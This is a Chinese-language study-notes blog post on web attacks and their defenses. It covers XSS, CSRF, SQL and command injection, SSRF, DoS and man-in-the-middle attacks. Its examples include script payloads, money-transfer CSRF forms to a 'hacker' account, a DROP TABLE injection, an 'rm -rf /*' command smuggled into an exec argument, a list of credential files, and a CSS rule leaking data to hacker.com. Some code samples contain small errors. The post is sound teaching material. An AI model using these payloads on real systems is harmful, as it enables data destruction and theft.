在青訓營的學習中學到的一些Web開發中的安全問題以及防禦方法,將對這些內容進行總結。
攻擊篇
XSS(跨站指令碼攻擊)
原理
開發者盲目資訊使用者傳遞的資訊而不做處理
當使用者輸入時,開發者盲目的把使用者輸入的資訊傳遞給伺服器,伺服器把使用者輸入的資訊轉換成HTML標籤,然後把轉換後的HTML標籤傳遞給使用者
特點
- 難以感知 沒有UI呈現
- 竊取使用者資訊(cookies / token)
- 繪製 UI (例如彈窗), 誘使使用者填寫私密資訊
案例
儲存型XSSI(Stored XSS)
- 惡意指令碼被儲存在資料庫中
- 訪問頁面 -> 讀資料 = 執行惡意指令碼被攻擊
- 危害性極大, 可對所有訪問這個頁面的使用者進行攻擊
public async submit(ctx) {
const { content, id } = ctx.request.body; // 沒有對content 過濾
await db.save({
content,
id
});
}
public async render(ctx) {
const { content } = await db.query({
id: ctx.query.id
});
// 沒有對content 過濾
ctx.body = `<div>${content}</div>`;
}
當有使用者惡意提交 <script>alert(1)</script>
時,瀏覽者訪問頁面會讀取到 <script>alert(1)</script>
,並且會執行 alert(1)
<!-- 正常 -->
<div>Hello</div>
<!-- xss攻擊 -->
<div><script>alert(1)</script></div>
反射型XSS(Reflected XSS)
- 不涉及資料庫
- 從 URL 上攻擊
public async render(ctx) {
const { content } = ctx.query; // 沒有對content 過濾
ctx.body = `<div>${content}</div>`;
}
當使用者訪問 http://localhost:3000/?content=<script>alert(1)</script>
時,頁面會生成 <script>alert(1)</script>
,使用者訪問後執行 alert(1)
DOM-based XSS
完全不需要伺服器參與
惡意攻擊的發起 + 執行都在瀏覽器完成
const content = new URL(location.href).searchParams.get('content'); // 沒有對content 過濾
document.querySelector('div').innerHTML = content;
當使用者訪問http://localhost:3000/?content=<script>alert(1)</script>
時,介面讀取URL引數時會讀取到 <script>alert(1)</script>
插入到頁面中發從而執行惡意指令碼
Mutation-based XSS
- 利用了瀏覽器渲染DOM的特性
- 不同的瀏覽器會有不同的實現,按瀏覽器進行攻擊
<!-- XSS檢查器: 無問題 -->
<noscript>
<p title="</noscript><img src=x onerror=alert(1)>">
<!-- 渲染後 -->
<div>
<noscript>
<p title="</noscript>
<img src="x" onerror="alert(1)">
"">"
</div>
Cross-site request forgery(CSRF)
- 在使用者不知情的前提下
- 利用使用者許可權(Cookies)
- 構造指定HTTP請求,竊取或修改使用者敏感資訊
示例
{% asset_img "9ab53341a3324607ab5bcda094d76e79~tplv-k3u1fbpfcp-watermark.png" %}
<!-- 使用者點選 -->
<!-- 點選後向駭客轉賬100元 -->
<a href="http://bank.com/transfer?to=hacker&amount=100"> 點我抽獎 </a>
<!-- 使用者訪問後執行 -->
<!-- 載入圖片時向駭客轉賬100元 -->
<img style="display:none" src="http://bank.com/transfer?to=hacker&amount=100">
<!-- 表單 -->
<!-- 表單隱藏使用者無法發現 -->
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker">
<input type="hidden" name="amount" value="100">
</form>
注入
SQL 注入
{% asset_img "04975e27e5d84a02be6baf32b6367285~tplv-k3u1fbpfcp-watermark.png" %}
public async renderForm(ctx) {
const { username, form_id } = ctx.query;
const sql = `SELECT * FROM users WHERE username='${username}'
AND form_id='${form_id}'`;
const users = await db.query(sql);
ctx.body = users;
}
當使用者輸入使用者名稱為 any; DROP TABLE table
時,資料庫會執行 SELECT * FROM users WHERE username=' any; DROP TABLE table'
,從而造成刪庫
其它
- CLI
- OS command
- Server-side Request Forgery(SSRF), 服務端偽造請求 (嚴格意義上非注入,但原理類似)
執行
// 用於轉換影片
public async convertVideo(ctx) {
const { video, options } = ctx.query;
exec(`convert-cli ${video} ${options}`);
ctx.body = 'ok';
}
當使用者請求引數為 http://localhost:3000/?video=video.mp4&options=&& rm -rf /*
時,會執行 convert-cli video.mp4 && rm -rf /*
從而造成伺服器上的檔案被刪除
讀取修改
重要檔案被暴露
- /etc/passwd
- /etc/shadow
- ~/.ssh
- /etc/apache2/httpd.conf
- /etc/nginx/nginx.conf
- 其它私密檔案...
假如駭客可以修改nginx.conf檔案,新增一個反向代理
location / {
proxy_pass http://localhost:3000;
}
駭客將我們網站的訪問流量轉發到其競爭對手,從而造成競爭對手伺服器流量過大而當機
SSRF
public async webhook(ctx) {
// callback 可能是內網 URL
// e.g http://secret.com/get_employ_payrolls
ctx.body = await fetch(ctx.query.callback);
}
DoS
原理
透過構造某種特殊的請求,導致伺服器資源被顯著消耗,來不及響應更多請求,導致請求積壓,進而造成雪崩效應
案例
知識補充
const greedyRegExp = /a+/ // 有多少匹配多少
const nonGreedyRegExp = /a+?/ // 有一個就行
const str = "aaaaaaaaaaaa";
console.log(str.match(greedyRegExp)[0])
console.log(str.match(nonGreedyRegExp)[0])
有以下正規表示式
^((ab)*)+$
執行過程中存在的問題
{% asset_img "dfe511d3a3bf46caaff1992a9c02a826~tplv-k3u1fbpfcp-watermark.image.png" %}
大量的回溯會造成響應時間大大加長,介面吞吐量也會隨之下降
需要注意的地方
- 耗時的同步操作
- 資料庫寫入
- SQL join
- 檔案備份
- 迴圈執行邏輯
DDoS
原理
短時間內傳送大量重複請求,造成伺服器處理堵塞請求堆積,導致伺服器雪崩從而無法響應新請求
特點:量大、攻擊手段簡單、破壞性嚴重
案例
攻擊者修改TCP傳送大量SYN包,但不響應伺服器ACK + SYN包,導致伺服器無法釋放連線從而堵塞
{% asset_img "41cdaaf3fb8042ce8ef2eeac761b0e0c~tplv-k3u1fbpfcp-watermark.image.png" %}
中間人攻擊
原理
環境
- 明文傳輸
- 資訊纂改不可知
- 對方身份未驗證
在這個圖裡,中間人竊取或纂改客戶端與服務端互動的資訊,從而導致資訊洩露
防禦篇
XSS
守則
- 永不信任外部傳入資料
- 不要將使用者提交內容直接轉換為DOM
工具
- 主流框架預設防禦XSS
- Google-closure-library
- DOMPurify
無法避免動態生成DOM
當存在需求無法避免動態生成DOM時,注意以下幾點
DOM
對字元進行轉義
SVG
允許上傳圖片時也要注意對SVG進行掃描
自定義跳轉連線
當允許使用者自定義跳轉連線時,需要對跳轉連線進行過濾防範,例如<a herf="javascript:alert(0)">
存在危險
自定義樣式
當有表單radio被點選時觸發get請求, 暴露收入情況
input[type=radio].income-ge10k {
background: url("http://hacker.com/?income=gt10k");
}
CSRF
同源策略
當滿足以下條件時,瀏覽器認為同源,否則跨域
- 協議相同
- 域名相同
- 埠相同
如果發生跨域,看伺服器是否支援CORS
Content Security Policy(CSP)
內容安全策略定義哪些源或域名是安全的,來自安全源的指令碼可以執行,否則報錯
對eval + inline scipt 說不
伺服器端設定
Content-Security-Policy: script-src 'self' 同源允許
Content-Security-Policy: script-src 'self' https://domain.com 在同源之外允許該域指令碼執行
前端設定
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://domain.com">
防禦
檢查請求頭部
當偽造請求為異常來源時,就限制請求
在同源請求中,GET和HEAD不傳送Origin頭部,POST傳送Origin頭部
不論什麼請求都帶有Referer頭部
token
思路:先有頁面,後有請求
- 在頁面中生成一個token,每次請求都帶上這個token
- 在請求中檢查token,如果不一致,則拒絕請求
iframe攻擊
透過iframe構造頁面,在其放欲攻擊的頁面,然後放一個按鈕,當點選按鈕時會穿透到攻擊頁面
export default function App() {
const onContentClick = () => console.log('content click');
const onButtonClick = () => console.log('button click');
return (
<div>
<button onClick={onButtonClick}>按鈕</button>
<div class="oncontent" onClick={onContentClick}>
content
</div>
</div>
);
)
}
當點選時日誌會出現 button click
防禦手段:
透過設定X-Frame-Options: DENY/SAMEORIGIN,阻止iframe構造頁面
DENY為禁止 SAMEORIGIN為同源才可構造
職責分開
GET !== GET + POST
不應當即響應GET,又響應POST,很容易造成使用者資訊洩露甚至纂改,應當分為兩個處理
錯誤示範
public async getAndUpdate(ctx) {
const { update, id } = ctx.query;
if (update){
await this.update(update);
}
ctx.body = await this.get(id);
}
Samesite Cookie
限制cookie
我的頁面cookie只能在我的頁面中使用
其它頁面cookie都不能帶上我的cookie
從根源上解決CSRF
限制的是
- Cookie domain
- 頁面域名
伺服器端設定
Set-Cookie: SameSite=None; Secure;
防禦CSRF的正確姿勢
透過中介軟體來過濾
注入
SQL隱碼攻擊
使用prepared statement
預編譯語句
PREPARE q FROM 'SELECT * FROM users WHERE id = ?';
SET @gender = 'female';
EXECUTE q USING @gender
DEALLOCATE PREPARE q;
exec
最小原則
不要給sudo或者root
建立允許名單 + 過濾
例如禁止rm
對URL型別引數進行協議、域名、ip等限制
例如禁止訪問內網
DoS
正則
完善程式碼review工作,避免使用貪婪匹配,特別是在介面處理上
程式碼掃描 + 正則效能測試
不要使用使用者提供的正則
DDoS
- 流量治理
- 負載均衡
- API 閘道器
- CDN
- 快速自動擴容
- 非核心業務降級
在負載均衡及 API 閘道器處可以進行流量識別過濾掉異常請求
透過CDN、快速自動擴容、非核心業務降級進行抗量,提高伺服器承載能力
中間人
使用HTTPS加密傳輸內容
HTTPS特性:
- 可靠性:加密
- 完整性:MAC驗證
- 不可抵賴性:數字簽名 確保雙方身份
HTTPS握手過程略
完整性
伺服器在內容中加入hash資訊,客戶端收到後重新計算並校驗hash
數字簽名
私鑰簽名,公鑰驗證
不可抵賴性
存在一個CA(證書機構), 服務方會將一些元資訊以及公鑰合併成一個資訊,使用CA提供的私鑰對證書進行簽名,形成伺服器端儲存的證書,這個證書傳遞給瀏覽器,瀏覽器利用CA公鑰進行校驗,如果校驗成功,則證書有效
瀏覽器會大量內建各個CA公約
也要注意防止證書籤名演算法不夠健壯時仍有證書風險
SRI
可以防範CDN被hack
<script src="https://demo.com/script.js" integrity="sha384-{some-hash-value}"></script>
<!-- 虛擬碼 -->
<scipt lang="javascript">
const remoteHash = hash(content);
if (tagHash !== remoteHash) {
throw new Error('Hash mismatch');
}
</script>
Other
瀏覽器:
Feature-Policy/Permission-Policy
一個源(頁面),可以使用哪些功能,例如麥克風、攝像頭等
- camera
- microphone
- geolocation
- autoplay
...
當使用iframe時,可以使用<iframe allow="...">
來設定
尾聲
總結
- 安全無小事
- 使用的依賴也可能成為被攻破的一環
- 保持學習的心態
推薦閱讀
Web Application Security: Exploitation and Countermeasures for Modern Web Applications
SameSite 那些事
關於 Web 安全突然想到的 #32
什麼是 DDoS 攻擊?